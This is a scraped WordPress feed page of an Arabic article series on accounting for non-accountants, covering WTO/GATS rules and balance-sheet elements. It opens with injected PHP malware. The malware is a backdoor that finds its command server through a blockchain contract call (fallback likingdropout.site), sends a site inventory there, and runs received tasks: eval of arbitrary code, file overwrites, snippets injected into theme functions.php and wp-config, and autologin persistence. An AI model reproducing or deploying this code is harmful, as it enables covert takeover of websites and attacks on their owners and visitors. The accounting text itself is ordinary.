// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); غير المحاسبين Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Tue, 01 Aug 2023 12:46:21 +0000 ar hourly 1 https://wordpress.org/?v=6.3.15 سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الخامسة https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-5/ https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-5/#respond Sat, 15 Apr 2023 13:35:13 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10495 سلسلة مقالات – المحاسبة لغير المحاسبين بقلم أ. د/ مدحت كمال المقالة الخامسة أثر اتفاقيات منظمة التجارة العالمية على المهنة تضمنت جولة أوروغواي للتجارة، التي تم التفاوض عليها بحكم الاتفاقية العامة للتعرفة والتجارة (الجات)، أول اتفاقية متعددة الجوانب تزيل العقبات من أمام المحاسبين الراغبين في الممارسة عبر الحدود.         وتعالج الاتفاقية متعددة الجوانب، الاتفاقية العامة […]

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
سلسلة مقالات – المحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

المقالة الخامسة

أثر اتفاقيات منظمة التجارة العالمية على المهنة

تضمنت جولة أوروغواي للتجارة، التي تم التفاوض عليها بحكم الاتفاقية العامة للتعرفة والتجارة (الجات)، أول اتفاقية متعددة الجوانب تزيل العقبات من أمام المحاسبين الراغبين في الممارسة عبر الحدود.

        وتعالج الاتفاقية متعددة الجوانب، الاتفاقية العامة للتعرفة والتجارة (الجات) هذه العقبات الموجودة في التأهيل للممارسة في المناطق الأجنبية بطريقتين:

  • أولاهما: تتطلب أحكام الاتفاقية المتعلقة بالتعليمات المحلية من البلدان الأجنبية بتسيير قواعد الترخيص أو منح الشهادة بأسلوب معقول وهادف وخال من التحيز، ويمنع استغلالها كحواجز مبطنة ضد التجارة. ولتنفيذ هذا التخويل الواسع تتطلع الاتفاقية إلى وضع مزيد من المبادئ الإلزامية المحددة في المستقبل.  هذا ومطلوب من البلدان أيضاً أن تضع إجراءات محددة للتحقق من مقدرة المهنيين من البلدان الأخرى، وأوراقهم الثبوتية.
  • ثانيها: تشجع الاتفاقية البلدان على الاعتراف المتبادل إما بصورة مستقلة ذاتية أو بوضع اتفاقيات اعتراف ثنائية. وعلاوة على ذلك فإنها تضع إرشادات لكي تتأكد من أن تلك الاتفاقيات لا تستعمل ضد المحترفين من الأقطار الأخرى التي ليست أطراف فيها.

المواد ذات الأهمية الخاصة بمهنة المحاسبة المشار إليها في اتفاقيات الجات

هناك مادتان في الجات ذات اهتمام خاص بمهنة المحاسبة:

المادة 6: الخاصة بالتعليمات المحلية، التي هي إحدى القواعد التي تطبق فقط على مهنة المحاسبة، في حالة ما تكون هناك حكومات ما قد وضعت التزامات محددة.  وهي ذات معالم ثلاثة هامة:

  • حكومات توافق على تطبيق التعليمات المسيرة لقطاع الخدمات والمهن، وبأسلوب معقول وموضوعي وخال من التحيز ولا يشكل عقبة أمام التجارة.
  • لا يجب أن تشكل متطلبات الإجراءات والمعايير الفنية ومتطلبات الترخيص حواجز لا لزوم لها أمام التجارة في الخدمات. وسيتم وضع مزيد من المبادئ والقواعد على أساس قطاعي للتكفل بأن تكون تلك الإجراءات موضوعية وشفافة، وليس أكثر عبءً مما هو لازم لضمان جودة الخدمة، ولا تشكل هي في حد ذاتها عقبات في أمور الترخيص أمام تقديم الخدمات.  وسوف تؤخذ المعايير الدولية في الاعتبار في تحديد مدى الالتزام بهذه المبادئ.
  • على جميع البلدان أن يكون لديها إجراءات كافية مطبقة لفحص مؤهلات المهنيين من البلدان الأخرى الذين يريدون الممارسة فيها.

المادة 7: الخاصة بتسجيل المؤهلات والتراخيص تخص جميع الخدمات والحرف من البلدان الأخرى بغض النظر عما إذا كانت التزامات معينة قد تمت. أسوة بالمادة 6، بها ثلاثة معالم تتعلق بمهنة المحاسبة:

  • للبلدان أن تختار طريقة من صنعها هي للاعتراف بالمؤهلات الأجنبية والترخيص، وذلك بالاعتراف من جانب واحد أو بالترتيبات الثنائية المتبادلة أو بالتناسق الدولي.
  • لا يوجد أي التزام على البلاد التي تدخل في مثل هذه الترتيبات. ومع ذلك إذا قررت أي بلد، أن تقدم على ذلك، فيجب أن تطبق الطريقة المختارة بشكل منسق وموضوعي وعادل تجاه كافة البلدان التي تريد اعتراف بمهنييها.
  • تشجيع البلدان على التعاون مع المنظمات الحكومية وغير الحكومية للعمل على وضع واعتماد معايير مؤهلات وممارسة مشتركة دولية.

 

 

 

تنفيذ ما جاء في الجات متعلقاً بمهنة المحاسبة

  • سيكون تفعيل مهام الجات تحت إشراف وتسيير منظمة التجارة العالمية WTO، وستشكل الجات مجلساً لتجارة الخدمات مكوناً من مندوبي الدول المتوقعة على الاتفاقية، وذلك للاستمرار في التفاوض على القضايا القائمة ولتولي القضايا التي قد تظهر في تفعيل اتفاقية الخدمات.
  • ومن المعروف أن مجلس تجارة الخدمات سيشكل – في حدود الخدمات المهنية – فريق عمل عندما تصبح الاتفاقية نفاذة المفعول وذلك لمتابعة تنفيذ اتفاقية الخدمات والتكفل بأن يكون عمله المتعلق بالمحاسبة موضوعاً ” على رأس الأولويات”.
  • وقد تم وضع جدول الأعمال ذو المراحل الثلاث التالية لفريق العمل:
  • يجب تطوير المبادئ والقواعد الإضافية التي نصت عليها المادة 6 للتكفل بأن متطلبات وإجراءات التأهيل والمعايير الفنية والتراخيص الوطنية في المحاسبة لا تشكل عراقيل غير لازمة أمام التجارة.
  • يجب تشجيع العمل بالمعايير فيما يتعلق بالمؤهلات والممارسة بالمحاسبة وذلك بالتعاون مع المنظمات الحكومية وغير الحكومية الدولية. وأن الاتحاد الدولي للمحاسبين ولجنة المحاسبة الدولية هما بكل وضوح المنظمتان اللتان ليستا حكوميتين وسيكونان على علاقة بهذه المحاولة.
  • يجب تشجيع الاعتراف بالمؤهلات عبر الحدود طبقاً للمادة 7 وذلك بتطوير الإرشادات الملائمة لاتفاقيات الاعتراف.

المجمع العربي للمحاسبين القانونيين وإنجازاته

  • وأمام هذا الخصم من التحديات لاحظت كوكبة من المكاتب العربية للخدمات المحاسبية ما تعانيه مهنة المحاسبة على امتداد الوطن العربي من مستلزمات النهوض بها وعلى نطاق العالم العربي، فبادرت عام 1984 الى تأسيس المجمع العربي للمحاسبين القانونيين برئاسة الاستاذ طلال أبوغزالة ليتولى معالجة واقع حال مهنة المحاسبة آن ذاك والنهوض بمهنة المحاسبة في الوطن العربي لتكون بالمستويات الدولية.

انجازات المجمع

منذ تأسيس المجمع العربي للمحاسبين القانونيين انضم المجمع الى عضوية الاتحاد الدولي للمحاسبين (IFAC) وحصل على عضوية كل من اللجنة الدولية لمعايير المحاسبة (IASC) واللجنة الدولية لممارسة أعمال التدقيق (IAPC) حيث شارك بفعالية في نشاط الهيئات الدولية المذكورة وبنفس توجه تلك الهيئات بادر الى وضع منهاج التأهيل المهني وأعد المراجع العلمية لكافة مواد التأهيل وبادر الى عقد امتحانات التأهيل المهني على نطاق العالم العربي وترجم الى العربية كل من المعايير الدولية للمحاسبة الدولية للقطاع العام كما ترجم الى العربية قواعد السلوك المهني الصادرة عن اللجان الدولية سابق الإشارة إليها وأصدر أول مجلة مهنية محاسبية ويسعى من خلال ذلك الى توحيد معايير ممارسة المهنة على مستوى الوطن العربي ورفد السوق العربي بالمحاسب المهني الذي لا يقل مستوى تأهيله عن المستويات المهنية الدولية.

 

إعـداد الميزانيـة ودلالتهـا

    إن الهدف الأساسي للمحاسبة المالية، هو إعداد التقارير المالية. وتُعَدّ الميزانية واحداً من أهم التقارير المالية، التي تُعِدُّها إدارة المنشأة، بغرض إيضاح المركز المالي لها، في تاريخ محدد، وتوفير معلومات مالية مفيدة، لمستخدمي القوائم المالية، سواء من داخل المنشأة أو خارجها. ولتحقيق الهدف من الميزانية، ينبغي إعدادها وفقاً للفروض والمبادئ المحاسبية المتعارف عليها، وتوفير معلومات مالية تتسم بالوضوح، والإفصاح الكامل عن الحقائق المهمة، وتبويب عناصرها وعرضها، بطريقة تحقق أكبر قدر من الاستفادة لمستخدمي الميزانية.

المعادلة المحاسبية أساس إعداد الميزانية

    إن إعـداد الميزانية واستخدامها، لا يخرج عن كونها تعبيراً بصوره معينة عن المعادلة المحاسبية “The Accounting Equation” .

الممتلكات (Properties) = الحقوق (Equities)

    وهي علاقة منطقية، تبين أن مجموع قيمة الممتلكات الخاصة بالمنشأة، تساوى مجموع قيمة الحقوق المترتبة على هذه المنشأة، وذلك في ظل مبدأ الشخصية المعنويـة المسـتقلة للمنشـأة “The Entity Concept”.

    وتستخدِم المحاسبة اصطلاح “الأصول” “Assets”، للتعبير عن الممتلكات، و”الخصوم” “Liabilities”، للتعبير عن حقوق الآخرين. كما يُستخدم اصطلاح “حقوق الملكية” “Owner’s Equity”، للتعبير عن حقوق صاحب أو أصحاب المنشأة. ومن ثم، يمكن وضع المعادلة المحاسبية في الشكل التالي:

الأصول = الخصوم + حقوق الملكية

    ويطلق على القائمة المحاسبية، التي تبين أصول المنشأة في جانب، وخصوم المنشأة وحقوق الملكية في جانب أخر، اسم قائمة المركز المالي. وانطلاقاً من المعادلة المحاسبية، فإن جانبي القائمة يكونان، دوماً، متساويين. وبسبب تساوى أو توازن جانبي قائمة المركز المالي، يطلق عليها، كذلك اسم الميزانية، كما يتضح من الشكل التالي.

قائمة المركز المالي الميزانية في / /
ــــــــــــــــــــ
{مجموع الأصول} = {مجموع الخصوم} + {حقوق الملكية}

    ويطلق، كذلك، على المعادلة المحاسبية اسم “معادلة الميزانية”، لأن الميزانية تعبر عن المعادلة المحاسبية، إذ تظهر الأصول في الجانب الأيمن، وتظهر الخصوم وحقوق الملكية، في الجانب الأيسر. ويكون مجموع الجانبين، دوماً، متساوياً

    وبإعادة ترتيبها، يمكن الحصول على المعادلة التالية:

الأصول – الخصوم = حقوق الملكية

    أي أنه لإيجاد حقوق الملكية في المنشأة، في أي لحظة، تطرح الخصوم من الأصول. ولذلك، يطلق على المعادلة المحاسبية، كذلك، اسم “معادلة الملكية”. وفي بعض الأحيان يتم إعادة ترتيب المعلومات في قائمة المركز المالي بحيث تأخذ شكل “معادلة الملكية”

أثر عمليات المنشأة على الميزانية

    يُستخدم تعبير “العمليات”Transactionsفي المحاسبة، للإشارة إلى الأحداث الاقتصادية، التي تقوم بها المنشأة. ويمكن التعبير عنها، أو قياسها في صورة مالية. والعمليات، التي تؤديها المنشأة، كثيرة ومتعددة، مثل، عمليات الشراء والبيع، والحصول على الأصـول، وتحصيل النقـود وصرفها… الخ. إن كل عملية تنفذها المنشأة يمكن التعبير عنها في صورة المعادلة المحاسبية وتبيان أثرها على الميزانية. ويتضح أثر العمليات المالية على الميزانية في الآتي:

  1. تساوى الأصول مع الخصوم وحقوق الملكية.

إن كل زيادة في مجموع الأصول، لا بد من أن يصاحبها زيادة مماثلة في الجـانب الأخــر مـن الميزانية، أي زيادة في الخصوم، أو حقوق الملكية، أو فيهما معـاً بالقيمـة نفسها. وكذلك، كل نقص في مجموع الأصول، لا بد أن يصاحبه نقص مماثل في مجموع الخصـوم وحقوق الملكية، لأن جانبي الميزانية هما صورتان للمنشأة نفسها. جانب الأصول يبين ممتلكات المنشأة، وجانب الخصوم وحقوق الملكية يبينان مصادر الحصول على هذه الممتلكات، ومقدار ما قدمه كل طرف.

  1. كل ما تمتلكه المنشأة تحصل عليه عن طريق صاحب أو أصحاب المنشأة، وعن طريق غيرهم (الدائنين).

ولذلك، فإن مجموع حقوق الدائنين وحقوق الملكية، يساوي، دائماً، مجموع أصول المنشأة. ومن جهة أخرى، فإن مجموع الأصول مطروحاً منه حقوق الدائنين، يساوى حقوق الملكية. أي أن حقوق الملكية تمثل ما يتبقى من أصول المنشأة، بعد سداد حقوق الدائنين، وهو ما يُعبّر عنه بالمعادلة:

( الأصول – الخصوم = حقوق الملكية )

عناصر الميزانية وتبوبيها

    المجموعات الرئيسية، التي تظهر في الميزانية، هي: الأصول، والخصوم، وحقوق الملكية. ولكي يتحقق أكبر قدر من الاستفادة من الميزانية، يجب أن تُبوّب بصورة سليمة. فالأصول تُبوّب إلى أصول متداولة وأصول ثابتة. كما تُبوّب الخصوم إلى خصوم قصيرة الأجل، يطلق عليها الخصوم المتداولة، وخصوم طويلة الأجل، يطلق عليها الخصوم الثابتة. أمّا حقوق الملكية، فتختلف بياناتها في الميزانية اعتماداً على الشكل القانوني للمنشأة، وما إذا كانت شركة أشخاص أو شركة مساهمة.

أولاً: الأصول Assets

    تعرف الأصول بأنها الموارد الاقتصادية للمشروع، التي يتم الاعتراف بها، وقياسها، طبقاً للمبادئ المحاسبية المتعارف عليها. وتتكون الأصول من العناصر التالية:

  1. الأصول المتداولة: Current Assets

وتتكون من النقدية والأصول الأخرى، المتوقع تحويلها إلى نقدية، خلال دورة العمليات العادية للمنشأة، أو خلال سنة واحدة، إذا كانت دورة العمليات تستغرق أكثر من سنة. وتُدرج الأصول المتداولة، في الميزانية، طبقاً لدرجة سيولتها، أو سرعة تحويلها إلى نقدية، وفقاً للترتيب التالي:

أ. النقدية:Cash

وهي تمثل أموالاً حاضرة، يتم قبولها، فوراً، كوسيلة من وسائل السداد. وتشمل النقدية: العملات المعدنية، وأوراق البنكنوت، والشيكات، والودائع تحت الطلب في البنوك.

ب. الأوراق المالية:Marketable Securities

تستطيع المنشآت، التي لديها فائض مؤقت من الأموال، وترغب في تحقيق عائد منها، أن تشترى أنواعاً معينة من الأسهم والسندات وأذون الخزانة. ونظراً إلى أن هذا النوع من الأوراق المالية، يتمتع بدرجة عالية من السيولة، لإمكان بيعها في أي وقت، فإنها تُعَدّ ضمن الأصول المتداولة.

ج. حسابات المدينين:Accounts Receivable

تمثل المبالغ المستحقة على العملاء، مقابل الخدمات التي تُؤَدّى لهم أو البضاعة المباعة لهم بالأجل. وعندما تتعامل المنشأة مع عدد محدود من العملاء، يمكنها إدراج أسمـائهم في قائمة المركز المالي. أمّا إذا كان عدد العملاء كبيرا، فتُحذف الأسماء من قائمة المركز المالي ويُكتب رقم واحد، يمثل مجموع حسابات المدينين. ونظراً إلى أن حسابات المدينين تستحق السداد، عادة، خلال فترة قصيرة، أقل من سنة، فإنها تُعَدّ ضمن الأصول المتداولة.

 

 

 

د. أوراق القبض:Notes Receivable

تمثل ورقة القبض تعهدا كتابياً من العميل، بسداد مبلغ محدد في تاريخ محدد. ونظراً إلى أنه يمكن تحويل ورقة القبض، عادة، بالتظهير، إلى طرف آخر أو إلى البنك، والحصول على صافي قيمتها، فإنها تمثل أحد بنود الأصول، الذي يمكن تحويله إلى نقدية فوراً. ومن ثَمّ، فإنها تُعَدّ ضمن الأصول المتداولة.

هـ. مخزون البضاعة:Inventory

هي البضاعة المتبقية لدى المنشأة، التي تعرض سلعاً للبيع، في أي لحظة، سواء على الأرفف أو في المخازن.

2 . الأصول الثابتة: Fixed Assets

يطلق اصطلاح الأصول الثابتة على الأصول المعمرة، التي تُشْتَرَى بغرض الاستعمال، وليس بغرض البيع. وتُدرج الأصول الثابتة في الميزانية مرتبة طبقاً للبنود الأقل ثباتاً، أي التي تبقى في المنشأة لفترة أقصر، أولا، ثم التي تبقى لفترة أطول، وهكذا. لذا، تظهر الأصول الثابتة في الميزانية، عقب الأصول المتداولة، طبقاً للترتيب التالي:

أ. السيارات ووسائل النقل:Cars & Means of Transportation

إذا كانت السيارات، ووسائل النقل الأخرى، التي تُستخدم في تنفيذ عمليات المنشأة، أو في توصيل البضائع للعملاء، مملوكة للمنشأة، فإنها تُعَدّ ضمن الأصول الثابتة.

ب. الأثاث والتركيبات :Furniture & Fixtures

مثل: المقاعد، والمكاتب، وفترينات العرض. ونظراً إلى أن هذه البنود لا تشترى بغرض البيع، وإنما للاستخدام، فإنها تُعَدّ ضمن الأصول الثابتة.

ج. المباني والأراضي:Land & Buildings

إذا كانت مباني المنشأة مملوكة لها، وليست مؤجرة، فإنها تُعَدّ ضمن الأصول الثابتة وكذلك الحال بالنسبة إلى الأرض، المقام عليها المباني.

3 . الأصول غير الملموسة: Intangible Assets

    يطلق اصطلاح الأصول غير الملموسة على الأصول، التي تفتقد الكيان المادي الملموس. مثال ذلك: شهرة المحل، وحقوق الاختراع، والعلامات التجارية. وتوضع هذه المجموعة بعد الأصول الثابتة.

 

ثانياً: الخصوم Liabilities

    تعرف الخصوم، بأنها تعهدات اقتصادية على المشروع، يُعترف بها وتُقدّر طبقاً لمبادئ المحاسبة المتعارف عليها. وخصوم المنشأة هي الديون أو الالتزامات على المنشأة تجاه الآخرين. وتتكون الخصوم من العناصر التالية:

  1. الخصوم المتداولة Current Liabilities

يستخدم اصطلاح الخصوم المتداولة للإشارة إلى الالتزامات، التي يتطلب الوفاء بها استخدام الأصول المتداولة، أو اللجوء إلى خصوم متداولة جديدة. وتُبوّب الالتزامات المنتظر سدادها، خلال سنة واحدة أو أقل، تحت الخصوم المتداولة بحسب حلول موعد تصفيتها أو سدادها. فتظهر الالتزامات المنتظر سدادها أولا، يليها الالتزامات المنتظر سدادها، بعد ذلك، وهكذا. ومن الأمثلة الشائعة للخصوم المتداولة ما يلي:

أ. حسابات الدائنينAccounts Payable

نظراً إلى أن حسابات الدائنين تستحق السداد، عادة، خلال فترة قصيرة (أقل من سنة)، فإنها تُدرج ضمن الخصوم المتداولة. وإذا كان عدد الدائنين محدوداً، تُدرج أسماؤهم في قائمة المركز المالي، ضمن مجموعة الخصوم المتداولة. أمّا إذا كان عدد الدائنين كبيراً، فإن قائمة المركز المالي تبين مجموع المبالغ المستحقة للدائنين، باسم مجموعة الخصوم المتداولة.

ب. أوراق الدفعNotes Payable

تنشـأ ورقة الدفع، عندما تتعهد المنشأة، كتابةً، بدفع مبلغ محدد في تاريخ مُحَدَّد، أو عندما تقترض من البنك، لفترة قصيرة، وتتعهد كتابياً بالسداد في تاريخ محدد. وتُبوّب أوراق الدفع ضمن الخصوم المتداولة، ما لم تكن فترة ورقة الدفع أطول من سنة.

  1. الخصوم الثابتة Fixed Liabilities

يطلق على الديـون المستحقة على المنشأة، التي تستغرق فترة سدادها أكثر من سنة، “ديون طويلة الأجل” أو “خصوم ثابتة”. وإذا كان جزء من الخصوم الثابتة يستحق السداد في مدى سنة أو أقرب من تاريخ قائمة المركز المالي، فإن المبلغ المستحق يدرج ضمن الخصوم المتداولة. ومن أمثلة الخصوم الثابتة ما يلي :

أ. القروض بِرَهْنSecured Accounts Payable

القرضُ بِرَهْن، هو دين في ذمة المنشأة، مضمون ببند أو أكثر من الأصول. وقد تقترض المنشأة من أحد البنوك برهن أحد الأصول الثابتة، ثم تفشل في سداد القرض، فيتخذ البنك الإجراءات القانونية، للحصول على الأصل المرهون، ثم يبيعه استيفاءً لقيمة الدين من حصيلة البيع، ويعود أي جزء متبقٍّ من ثمن البيع إلى المنشأة.

ب. قروض السنداتBonds Payable

تقترض الشركات المساهمة من الجمهور، من طريق إصدار سندات، تتعهد فيها بسداد القرض، بعد فترة طويلة (خمس أو عشر سنوات). وقد تكون السندات مضمونة ببعض أصول المنشأة، أو غير مضمونة. فالسمعة الائتمانية الطيبة للشركة المساهمة طيبة، قد تعفيها من تقديم ضمان عيني.

رأس المال العامل : Working Capital

